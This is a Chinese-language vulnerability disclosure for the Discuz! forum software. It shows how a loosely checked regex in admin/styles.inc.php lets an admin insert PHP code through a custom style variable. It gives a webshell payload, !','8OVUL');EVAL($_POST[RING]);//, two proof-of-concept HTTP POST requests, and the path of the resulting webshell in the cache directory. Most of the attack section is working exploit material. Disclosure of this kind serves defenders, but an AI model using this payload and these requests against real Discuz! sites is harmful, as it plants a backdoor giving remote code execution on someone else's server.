Discuz! admin\styles.inc.php get-webshell bug

author: ring04h
team:http://www.80vul.com

由于Discuz!的admin\styles.inc.php里preg_match正则判断$newcvar变量操作不够严谨，导致执行代码漏洞.

一 分析

在文件admin\styles.inc.php里代码:

```
		if($newcvar && $newcsubst) {
			if($db->result_first("SELECT COUNT(*) FROM {$tablepre}stylevars WHERE variable='$newcvar' AND styleid='$id'")) {
				cpmsg('styles_edit_variable_duplicate', '', 'error');
			} elseif(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) {
				cpmsg('styles_edit_variable_illegal', '', 'error');
			}
			$newcvar = strtolower($newcvar);
			$db->query("INSERT INTO {$tablepre}stylevars (styleid, variable, substitute)
				VALUES ('$id', '$newcvar', '$newcsubst')");
		}
```

上面代码可以看出来当有后台权限时,可通过编辑风格,自定义模板变量处插入 !','8OVUL');EVAL($_POST[RING]);// 替换出插入 exp by r

二 利用

POC:

step1:

```
POST /bbs/admincp.php?action=styles HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/
Referer: http://www.80vul.com/bbs/admincp.php?action=styles
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3061
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.80vul.com
Content-Length: 154
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:

formhash=99238f2d&anchor=&updatecsscache=0&namenew%5B1%5D=%C4%AC%C8%CF%B7%E7%B8%F1&availablenew%5B1%5D=1&defaultnew=1&newname=exp&stylesubmi
```

step2:

```
POST /bbs/admincp.php?action=styles&operation=edit&id=6 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/
Referer: http://www.80vul.com/bbs/admincp.php?action=styles&operation=edit&id=6
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3061
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.80vul.com
Content-Length: 1402
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:

formhash=99238f2d&anchor=&namenew=exp&templateidnew=1&stylevar%5B249%5D=1&stylevar%5B247%5D=&stylevar%5B248%5D=&stylevar%5B246%5D=&stylevar%
```

webshell:

http://www.80vul.com/bbs/forumdata/cache/style_6.php

三 补丁[fix]

该漏洞已提交，等待官方补丁.